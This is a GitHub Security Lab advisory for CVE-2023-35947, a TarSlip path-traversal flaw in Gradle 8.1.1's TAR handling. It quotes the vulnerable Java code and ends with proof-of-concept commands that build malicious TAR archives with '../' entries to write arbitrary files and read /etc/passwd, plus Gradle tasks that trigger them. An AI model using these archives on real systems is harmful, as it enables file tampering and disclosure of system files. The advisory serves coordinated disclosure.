Coordinated Disclosure Timeline
- 2023-06-13: The report was sent to security at gradle.com.
- 2023-06-14: The report was acknowledged.
- 2023-06-30: advisory was published.
Summary
Gradle 8.1.1 does not ensure that paths constructed from TAR archive entries are validated. This allows attackers who are able to manipulate a TAR file which is unpacked by a Gradle script to overwrite arbitrary files. It also allows attackers who are able to manipulate a TAR file which is read by a Gradle script to read arbitrary files.
Product
Gradle
Tested Version
Details
TarSlip in TarFileTree.java
(GHSL-2023-120
)
Gradle retrieves archive entry names for TAR files from the safeEntryName
method in TarFileTree.java
, which returns entry names without validation:
protected String safeEntryName() {
return entry.getName();
}
When unpacking a TAR file, the return value of the safeEntryName
method becomes the details
argument of the processFile
method in FileCopyAction.java
. The destination file target
is directly constructed with the names of the entries in the TAR file. If the entry name contains path traversal sequences (../), this can result in the file being copied outside of the expected directory, causing an arbitrary file write on the filesystem:
public void processFile(FileCopyDetailsInternal details) {
File target = fileResolver.resolve(details.getRelativePath().getPathString()); // construction of `target` file using unvalidated TAR entry names
renameIfCaseChanged(target);
boolean copied = details.copyTo(target); // TAR file entries are copied to the unvalidated `target` file
if (copied) {
didWork = true;
}
}
Note: the exploitation of this vulnerability is limited to directories where it is possible to set file permissions since copyTo
will call chmod
on the target
file:
public boolean copyTo(File target) {
validateTimeStamps();
try {
if (isDirectory()) {
GFileUtils.mkdirs(target);
} else {
GFileUtils.mkdirs(target.getParentFile());
copyFile(target);
}
chmod.chmod(target, getImmutablePermissions().toUnixNumeric()); // set permissions on the `target` file
return true;
} catch (Exception e) {
throw new CopyFileElementException(String.format("Could not copy %s to '%s'.", getDisplayName(), target), e);
}
}
The return value of the safeEntryName
method is also used to directly construct the file
return value of the getFile
method in AbstractArchiveFileTreeElement.java
:
public File getFile() {
if (file == null) {
file = new File(expandedDir, safeEntryName()); // construction of `file` using unvalidated TAR entry names
if (!file.exists()) {
GFileUtils.mkdirs(file.getParentFile());
copyTo(file);
}
}
return file;
}
The return value of getFile
becomes an argument to a call to the openInputStream
method of GFileUtils
in TarFileTree.java
. If the entry name contains path traversal sequences (../), this can result in an arbitrary file read:
public InputStream open() {
if (read) {
getFile();
return GFileUtils.openInputStream(getFile()); // a `FileInputStream` is returned for an unvalidated file
} else if (tar.getCurrentEntry() != entry) {
throw new UnsupportedOperationException(String.format("The contents of %s has already been read.", this));
} else {
read = true;
return tar;
}
}
Impact
This issue may lead to arbitrary file write when TAR entries are unpacked or to information disclosure through an arbitrary file read when TAR entries are read.
Resources
As a proof of concept for arbitrary file write, a malicious TAR file can be built as follows:
echo "echo PWNED" > /path/to/evil.sh
tar cvf tarslip-write.tar ../../../../path/to/evil.sh
If a Gradle script extracts this TAR file using the following task, /path/to/evil.sh
will be present in the filesystem:
tasks.register('unpackFiles', Copy) {
from tarTree("tarslip-write.tar")
into layout.buildDirectory.dir("resources")
}
As a proof of concept for arbitrary file read, a malicious TAR file can be built as follows:
tar cvf tarslip-read.tar /path/to/foo.txt ../../../../../../../../../../etc/passwd
If a Gradle script reaches the GFileUtils.openInputStream(getFile())
call in the TarFileTree$DetailsImpl.open()
method, such as in the following script, /etc/passwd
will be read from the filesystem:
static private String readFromInputStream(InputStream inputStream)
throws IOException {
StringBuilder resultStringBuilder = new StringBuilder();
try (BufferedReader br
= new BufferedReader(new InputStreamReader(inputStream))) {
String line;
while ((line = br.readLine()) != null) {
resultStringBuilder.append(line).append("\n");
}
}
return resultStringBuilder.toString();
}
task readFiles {
tarTree("tarslip-read.tar").visit { FileVisitDetails details ->
details.open()
println readFromInputStream(details.open())
}
}
CVE
- CVE-2023-35947
Credit
This issue was discovered and reported by GitHub CodeQL team members @jcogs33 (Jami) and @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-120
in any communication regarding this issue.